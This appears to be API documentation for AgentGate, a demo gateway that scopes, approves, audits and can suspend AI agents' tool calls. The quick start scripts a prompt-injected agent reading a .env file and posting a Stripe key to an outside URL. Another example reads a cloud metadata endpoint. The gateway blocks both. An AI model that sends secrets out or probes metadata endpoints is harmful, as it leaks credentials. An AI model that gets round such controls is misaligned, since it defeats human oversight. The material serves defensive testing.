DEMO MODE · SYNTHETIC DATA

API docs

How to test AgentGate from a terminal: act as a synthetic AI agent, watch policy decide, approve risky actions as a human, pull the kill switch and read the audit chain.

All data here is mock-up data. Tenants, users, agents, tools, files and credentials are synthetic. Tools are simulated: nothing reaches GitHub, the internet or a real ledger. The demo resets every 30 minutes.

Quick start: the exfiltration story

Base URL https://agentgate.enthernetservice.com. Run these in order.

# 1. The coding agent reads a file inside its task: ALLOW
curl -s -X POST -H "Content-Type: application/json" https://agentgate.enthernetservice.com/v1/demo/agents/AG-CODE/act \
  -d '{"tool":"github","operation":"read_file","arguments":{"path":"tenant-a/payments-service/.env"}}'
# → ALLOW, and the secret in the file comes back as STRIPE_[REDACTED]

# 2. Prompt-injected, it tries to POST to an allowlisted host: DENY + incident
curl -s -X POST -H "Content-Type: application/json" https://agentgate.enthernetservice.com/v1/demo/agents/AG-CODE/act \
  -d '{"tool":"http","operation":"post","arguments":{"url":"https://github.com/collect","body":"STRIPE_KEY=..."}}'
# → DENY · sequence_policy: sensitive read followed by outbound transmission

# 3. The agent is now suspended and its tokens revoked
curl -s -X POST -H "Content-Type: application/json" https://agentgate.enthernetservice.com/v1/demo/agents/AG-CODE/act \
  -d '{"tool":"github","operation":"read_file","arguments":{"path":"tenant-a/payments-service/README.md"}}'
# → DENY · authentication: agent tokens revoked

# 4. See the incident and verify the audit chain as the security admin
curl -s -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/incidents
curl -s -H "X-Demo-User: USR-A-SEC" "https://agentgate.enthernetservice.com/v1/audit?limit=5"

# 5. Put things back
curl -s -X POST -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/demo/reset

Try it: act as an agent

Response appears here.

Auth & users

Humans authenticate with an X-Demo-User header carrying a demo user id (production uses SSO). The tenant always comes from the user, never from the request body. Agents use short-lived bearer tokens plus a per-request signature.

X-Demo-UserEmailRoleTenantCan
USR-A-OWNowner@northwind.demoOWNERNorthwindeverything
USR-A-SECsec@northwind.demoSECURITY_ADMINNorthwindapprove up to SECURITY_ADMIN, kill switch, incidents, audit
USR-A-APRapprover@northwind.demoAPPROVERNorthwindapprove APPROVER-level requests
USR-A-ANLanalyst@northwind.demoANALYSTNorthwindincidents, audit
USR-A-VWRviewer@northwind.demoVIEWERNorthwindread only
USR-B-SECsec@contoso.demoSECURITY_ADMINContososame as above, other tenant (sees nothing of Northwind)

Agents & tasks

AgentNameTaskToolsScope
AG-CODECoding AgentTASK-91 · Fix flaky test in payments-servicegithub, httprepos tenant-a/payments-service*; github.com, api.company.internal
AG-RSCHResearch AgentTASK-92 · Summarise Python asyncio docshttp, filesystemfiles tenant-a/research/*; docs.python.org, *.wikipedia.org
AG-FINFinance AgentTASK-93 · Clean up duplicate invoicesfinanceledger tenant-a/invoices; may request delete_invoices (critical)
AG-B-CODECoding Agent (B)TASK-B1 · Tenant B maintenancegithubContoso tenant only

Full detail, including every tool operation and its arguments, from GET /v1/demo.

Endpoints

Demo (testing)

GET/v1/demoThe synthetic world: users, agents, tasks, tools and when it next resets

Who: anyone

curl https://agentgate.enthernetservice.com/v1/demo

Use it to find agent ids (AG-CODE, AG-RSCH, AG-FIN, AG-B-CODE), each task's allowed tools, resources and destinations, and every tool operation with its argument names.

POST/v1/demo/agents/{agent_id}/actAct as a synthetic agent: sign a tool call and send it through the gateway

Who: anyone

curl -X POST -H "Content-Type: application/json" \
  -d '{"tool":"finance","operation":"delete_invoices",
       "arguments":{"ledger":"tenant-a/invoices","invoice_ids":["INV-1002"]}}' \
  https://agentgate.enthernetservice.com/v1/demo/agents/AG-FIN/act
{
  "request_id": "REQ-f71bd730ce",
  "decision": "REQUIRE_APPROVAL",
  "policy": "critical_action_policy",
  "reason": "Critical action requires SECURITY_ADMIN approval",
  "result": null,
  "approval_id": "APR-6475f0b14ac1",
  "incident_id": null,
  "limits": null,
  "replayed_from_idempotency": false,
  "authorized_by": "POLICY",
  "ai_authorization": "NEVER",
  "signed_request": {
    "request_id": "REQ-f71bd730ce",
    "agent_id": "AG-FIN",
    "task_id": "TASK-93",
    "timestamp": 1800000000.0,
    "nonce": "e447f180da8bda93ba1b4434",
    "idempotency_key": "cae25ef4\u2026",
    "signature": "94d5f8c2\u2026"
  }
}

This plays the agent SDK. The server holds the agent's short-lived token and signing key, signs the request exactly as /v1/actions requires, and runs the full gateway path: authentication, task scope, schema, resources, sequence, destination, rate, budget, risk, credential injection, redaction and audit. Body: tool, operation, arguments (extra fields are rejected).

A suspended or revoked agent gets DENY · authentication, and 409 if a new token can't be issued.

POST/v1/demo/resetRebuild the synthetic world now

Who: any demo user

curl -X POST -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/demo/reset
{"reset": true, "next_reset_in_seconds": 1800}

Unsuspends agents and clears budgets, approvals, incidents and the audit log. It also happens automatically every 30 minutes.

Data plane (agents)

POST/v1/actionsSubmit a signed tool call as an agent

Who: an agent with a valid token

curl -X POST -H "Authorization: Bearer $AGENT_TOKEN" -H "Content-Type: application/json" \
  -d '{"request_id":"REQ-1","tool":"github","operation":"read_file",
       "arguments":{"path":"tenant-a/payments-service/README.md"},
       "idempotency_key":"idem-1","timestamp":<gateway time>,"nonce":"<random>",
       "signature":"<hex HMAC-SHA256>"}' \
  https://agentgate.enthernetservice.com/v1/actions

signature = hex HMAC-SHA256 with the agent's signing key over the canonical JSON (sorted keys, no spaces) of {"request_id","timestamp","nonce","tool","operation","arguments_hash","idempotency_key"}, where arguments_hash is the SHA-256 of the canonical arguments. Timestamps outside the allowed skew and reused nonces are refused; reusing an idempotency key with different arguments is denied.

In this demo the agents' signing keys stay on the server and the gateway runs on a fixed demo clock, so use /v1/demo/agents/{agent_id}/act to exercise this path. A request with a wrong signature is denied as request_integrity and recorded as a bypass attempt.

Control plane (humans)

POST/v1/agents/{agent_id}/tokens?task_id=…Issue a 15-minute token binding an agent to one task

Who: OWNER, AGENT_ADMIN

curl -X POST -H "X-Demo-User: USR-A-OWN" "https://agentgate.enthernetservice.com/v1/agents/AG-CODE/tokens?task_id=TASK-91"
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.…", "ttl_seconds": 900}
GET/v1/approvalsApprovals for your tenant, with redacted arguments

Who: any role

curl -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/approvals
[
  {
    "id": "APR-6475f0b14ac1",
    "agent_id": "AG-FIN",
    "task_id": "TASK-93",
    "operation": "finance.delete_invoices",
    "arguments": {
      "ledger": "tenant-a/invoices",
      "invoice_ids": [
        "INV-1002"
      ]
    },
    "required_role": "SECURITY_ADMIN",
    "decision": "PENDING",
    "requested_at": 1800000000.0
  }
]
POST/v1/approvals/{approval_id}/decisionDecide an approval; approving runs the held action once

Who: the required role or higher (APPROVER < SECURITY_ADMIN < OWNER)

curl -X POST -H "X-Demo-User: USR-A-SEC" -H "Content-Type: application/json" \
  -d '{"decision":"APPROVE_ONCE","reason":"Duplicate confirmed"}' \
  https://agentgate.enthernetservice.com/v1/approvals/APR-6475f0b14ac1/decision
{
  "request_id": "REQ-f71bd730ce",
  "decision": "ALLOW",
  "policy": "task_scope",
  "reason": "Within task scope",
  "result": {
    "deleted": [
      "INV-1002"
    ]
  },
  "approval_id": "APR-6475f0b14ac1",
  "authorized_by": "POLICY",
  "ai_authorization": "NEVER"
}

decision: APPROVE_ONCE, APPROVE_TASK, REJECT or SUSPEND_AGENT. The approval is bound to the exact arguments, single-use and expiring. An APPROVER trying a SECURITY_ADMIN approval gets 403 requires SECURITY_ADMIN.

POST/v1/killswitch/{action}/{target}Contain an agent, task or tool immediately

Who: SECURITY_ADMIN, OWNER (AGENT_ADMIN can suspend and cancel)

curl -X POST -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/killswitch/suspend_agent/AG-RSCH
{"ok": true}

Actions: suspend_agent, unsuspend_agent, revoke_agent (all its tokens die), cancel_task, disable_tool (target is the tool name), and disable_tenant_agents (target is ignored; suspends every agent in your tenant).

POST/v1/policy/simulateDry-run the decision chain without executing anything

Who: any role

curl -X POST -H "X-Demo-User: USR-A-VWR" -H "Content-Type: application/json" \
  -d '{"agent_id":"AG-CODE","task_id":"TASK-91","tool":"http","operation":"get",
       "arguments":{"url":"http://169.254.169.254/latest/meta-data"}}' \
  https://agentgate.enthernetservice.com/v1/policy/simulate
{
  "decision": "DENY",
  "policy": "external_destination_policy",
  "reason": "169.254.169.254 is a metadata endpoint",
  "incident_required": true
}
GET/v1/incidentsSecurity incidents opened by the gateway

Who: any role

curl -H "X-Demo-User: USR-A-SEC" https://agentgate.enthernetservice.com/v1/incidents

Each has severity, type (for example suspicious_sequence, unauthorized_destination, cross_tenant_attempt), the agent and the triggering request.

GET/v1/audit?limit=200Keyed, hash-chained audit log and whether the chain is intact

Who: SECURITY_ADMIN, ANALYST, AUDITOR, OWNER

curl -H "X-Demo-User: USR-A-ANL" "https://agentgate.enthernetservice.com/v1/audit?limit=2"
{
  "chain_intact": true,
  "first_bad_index": null,
  "events": [
    {
      "id": "EV-dd66934ccbf5",
      "tenant_id": "TEN-A",
      "actor_type": "USER",
      "actor_id": "USR-A-SEC",
      "event_type": "AGENT_SUSPENDED",
      "resource_type": "agent",
      "resource_id": "AG-RSCH",
      "metadata": {},
      "created_at": 1800000000.0,
      "event_hash": "a028109e\u2026",
      "previous_hash": "08af97e4\u2026"
    }
  ]
}

limit max 1000. Credentials never appear in events.

GET/v1/dashboardLive counters for your tenant

Who: any role

curl -H "X-Demo-User: USR-A-VWR" https://agentgate.enthernetservice.com/v1/dashboard
{
  "demo_mode": true,
  "active_agents": 2,
  "active_tasks": 3,
  "actions": 5,
  "allowed": 2,
  "denied": 2,
  "awaiting_approval": 1,
  "suspended_agents": 1,
  "open_incidents": 1,
  "top_denial_reasons": [
    [
      "tool_permission",
      1
    ],
    [
      "sequence_policy",
      1
    ]
  ]
}
WS/ws/events?user=USR-A-VWRLive stream of gateway decisions for your tenant

Who: any demo user

websocat "wss://agentgate.enthernetservice.com/ws/events?user=USR-A-VWR"

One JSON message per decision. Unknown users are closed with code 4401.

Decisions

ALLOWWithin the task's scope; executed through the proxy with credentials injected server-side.
ALLOW_WITH_LIMITSExecuted with operation limits (response size, timeout), shown in limits.
REQUIRE_APPROVALHeld. Nothing runs until a human with the required role approves; approval_id identifies it.
DENYRefused. policy names the rule (for example sequence_policy, external_destination_policy, tenant_isolation, rate_limit, tool_schema); serious ones open an incident (incident_id) and can suspend the agent.

Every response carries "authorized_by": "POLICY" and "ai_authorization": "NEVER": no model is consulted in the decision.

Errors

401Unknown X-Demo-User, or missing bearer token on /v1/actions
403Role lacks the permission, or the approval needs a higher role
404Not found, or belongs to another tenant (same answer on purpose)
409Demo emulator couldn't issue a token for that agent
422Body failed validation (unknown fields are rejected)
429Rate limited by the server